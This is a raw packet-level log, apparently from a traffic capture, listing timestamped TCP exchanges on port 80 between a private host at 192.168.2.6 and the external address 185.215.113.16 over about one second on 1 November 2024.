Nov 1, 2024 00:38:44.343126059 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.343164921 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.343204975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.343239069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.343259096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.343272924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.343278885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.343317986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.376255989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.376353979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.376379013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.376389027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.376390934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.376424074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.376434088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.376470089 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.457755089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.457811117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.457840919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.457861900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.457873106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.457896948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.457906961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.457932949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.457940102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.457968950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.457969904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.458003998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.458018064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.458039045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.458064079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.458074093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.458081007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.458108902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.458122969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.458142996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.458153009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.458185911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.459862947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.459914923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.459916115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.459949970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.459964991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.459990025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.460064888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.460094929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.460118055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.460135937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.460205078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.460253954 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.460256100 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.460304022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.493119001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.493175030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.493177891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.493211031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.493216038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.493246078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.493287086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573118925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573158979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573182106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573194027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573210001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573230982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573247910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573268890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573273897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573302984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573319912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573354006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573429108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573457956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.573476076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.573499918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.574001074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.574029922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.574052095 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.574068069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.574104071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.574137926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.574148893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.574174881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.574193954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.574212074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.574486017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.574513912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.574520111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.574548960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.576677084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.576711893 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.576720953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.576750994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.576750994 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.576788902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.576833010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.576865911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.576875925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.576900959 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.576900959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.576948881 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.610013008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.610063076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.610085011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.610119104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.610140085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.610155106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.610174894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.610199928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.689870119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.689908028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.689943075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.689981937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.690015078 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.690083981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.690131903 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.690136909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.690171003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.690187931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.690212011 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.691098928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.691132069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.691150904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.691169977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.691174984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.691204071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.691219091 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.691248894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.691301107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.691344023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.691349983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.691396952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.693551064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.693602085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.693602085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.693638086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.693653107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.693686962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.693702936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.693744898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.693824053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.693873882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.693876028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.693908930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.693922997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.693950891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.694150925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.694200993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.694220066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.694269896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.694345951 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.694375038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.694396019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.694413900 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.726958990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.726998091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.727032900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.727055073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.727082014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.768126011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.768157005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.768182993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.768198967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.806683064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.806725025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.806761980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.806778908 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.806791067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.806798935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.806798935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.806823969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.806910992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.806941986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.806965113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.806973934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.807101011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.807130098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.807151079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.807174921 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.807842016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.807871103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.807889938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.807908058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.807910919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.807946920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.807957888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.807997942 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810401917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810436010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810456991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810472012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810478926 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810509920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810532093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810583115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810584068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810632944 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810650110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810667992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810674906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810704947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.810714960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.810745955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.811260939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.811295986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.811316013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.811340094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.811347961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.811395884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.843730927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.843782902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.843806028 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.843828917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.843835115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.843892097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.843907118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.843926907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.843935966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.843966961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.923696041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.923739910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.923805952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.923823118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.923846006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.923867941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.923877954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.923883915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.923886061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.923935890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.923943043 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.923979998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.924679995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.924731970 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.924734116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.924765110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.924782038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.924798012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.924803019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.924846888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.927246094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.927275896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.927301884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.927319050 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944406033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944441080 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944477081 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944499016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944513083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944529057 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944547892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944569111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944585085 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944593906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944626093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944736004 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944787025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944787979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944823980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944837093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944856882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944868088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944905996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.944919109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.944967031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.960571051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.960621119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.960655928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.960675955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.960691929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.960789919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.960881948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.040364981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.040402889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.040438890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.040446997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.040471077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.040493965 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.040523052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.040553093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.040565968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.040594101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.040638924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.040668964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.040688038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.040713072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.041596889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.041625977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.041652918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.041661024 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.041661978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.041695118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.041707039 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.041737080 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.061156988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061193943 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061228991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061269045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.061297894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.061301947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061348915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.061357021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061392069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061397076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.061425924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061433077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.061463118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.061477900 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.061496973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.062037945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.062072039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.062093019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.062108040 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.062114954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.062141895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.062144995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.062177896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.062181950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.062220097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.077338934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.077373981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.077419996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.077425003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.077435017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.077466011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.077485085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.077502966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.077513933 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.077545881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.077548981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.077589035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.157437086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.157483101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.157529116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.157531977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.157561064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.157567978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.157680988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.157715082 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.157736063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.157748938 CET	80	49887	185.215.113.16	192.168.2.6
